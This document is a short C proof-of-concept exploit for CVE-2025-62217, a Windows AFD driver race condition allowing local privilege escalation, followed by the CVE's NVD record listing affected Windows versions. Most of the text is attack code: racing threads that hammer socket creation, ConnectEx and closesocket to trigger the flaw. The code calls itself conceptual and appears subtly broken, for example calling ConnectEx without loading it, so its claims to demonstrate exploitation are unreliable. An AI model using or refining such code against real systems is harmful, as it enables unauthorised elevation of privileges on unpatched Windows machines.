CVE-2025-62217

// CVE-2025-62217 PoC - Windows AFD Race Condition LPE // This is a conceptual PoC demonstrating the race condition exploitation pattern #include <windows.h> #include <stdio.h> #include <process.h> #define NUM_THREADS 8 #define ITERATIONS 10000 volatile LONG g_sync_flag = 0; volatile PVOID g_target_handle = NULL; HANDLE g_start_event; // Thread function that triggers the race condition unsigned __stdcall RaceThread(void* arg) { int thread_id = *(int*)arg; // Wait for all threads to be ready WaitForSingleObject(g_start_event, INFINITE); for (int i = 0; i < ITERATIONS; i++) { // Create socket to trigger AFD driver operations SOCKET s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); if (s == INVALID_SOCKET) continue; // Setup overlapped structure OVERLAPPED ov = {0}; ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); // Connect operation struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_port = htons(80); // Trigger connect - this involves AFD driver processing DWORD bytes; DWORD error; // Create competing operations to widen race window if (thread_id % 2 == 0) { // Close socket during connect - creates race condition closesocket(s); // Immediately create new socket SOCKET s2 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED); if (s2 != INVALID_SOCKET) { // Try to manipulate shared AFD driver state // In real exploit, this would target specific kernel structures WSAIoctl(s2, SIO_BASE_HANDLE, NULL, 0, NULL, 0, &bytes, &ov, NULL); closesocket(s2); } } else { // Attempt connect while other thread is manipulating ConnectEx(s, (SOCKADDR*)&addr, sizeof(addr), NULL, 0, &bytes, &ov); // Close immediately to create state inconsistency closesocket(s); } CloseHandle(ov.hEvent); // Yield to increase chance of race condition SwitchToThread(); YieldProcessor(); } return 0; } int main() { printf("CVE-2025-62217 Windows AFD Race Condition PoC\n"); printf("Target: Windows AFD Driver - Privilege Escalation\n\n"); // Initialize Winsock WSADATA wsa_data; WSAStartup(MAKEWORD(2, 2), &wsa_data); // Create synchronization event g_start_event = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE threads[NUM_THREADS]; int thread_ids[NUM_THREADS]; printf("Starting %d racing threads...\n", NUM_THREADS); // Create racing threads for (int i = 0; i < NUM_THREADS; i++) { thread_ids[i] = i; threads[i] = (HANDLE)_beginthreadex(NULL, 0, RaceThread, &thread_ids[i], 0, NULL); } // Small delay to let threads initialize Sleep(100); printf("Triggering race condition...\n"); // Start all threads simultaneously SetEvent(g_start_event); // Wait for completion WaitForMultipleObjects(NUM_THREADS, threads, TRUE, INFINITE); printf("Race condition attempts completed.\n"); printf("Note: This PoC demonstrates the exploitation pattern.\n"); printf("Real exploitation requires kernel debugging and specific offsets.\n"); // Cleanup CloseHandle(g_start_event); for (int i = 0; i < NUM_THREADS; i++) { CloseHandle(threads[i]); } WSACleanup(); return 0; }

{"cve": {"id": "CVE-2025-62217", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:49.243", "lastModified": "2025-11-14T15:56:13.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "7BB42F69-3A99-4057-8C66-870B6ABFCED2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "19D83039-82E6-420D-95EA-3D3B1BA37ED8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "16F25469-D606-4A71-9A94-C10E1D08B231"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "1A6A1513-48D5-4D4D-97F1-BFDAE4DC9396"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6575", "matchCriteriaId": "EB5C0945-7EA1-4874-98E7-4234D85E0C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6575", "matchCriteriaId": "655C5458-E6FB-408D-BCB4-0D28F8283D55"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6199", "matchCriteriaId": "0752A377-F96A-4B2F-B542-A9A9665AB913"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7092", "matchCriteriaId": "4345F25E-DF90-4CB2-B310-F82E08502815"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7092", "matchCriteriaId": "5A547AA3-FC6B-46D9-8D22-995C3CA33140"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8594", "matchCriteriaId": "BD73B71D-FB6A-4B0E-80F5-9F6A06FC93A3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8027", "matchCriteriaId": "970E52EF-A858-4132-9D8C-4B31E169002C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4346", "matchCriteriaId": "5791ADD5-7D67-4659-9DA2-09337A1D82C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1965", "matchCriteriaId": "256174B8-134D-44F5-9497-408AC51DE5DB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7092", "matchCriteriaId": "69424DAF-E9EA-4B50-80EC-5BAA97DEB772"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62217", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}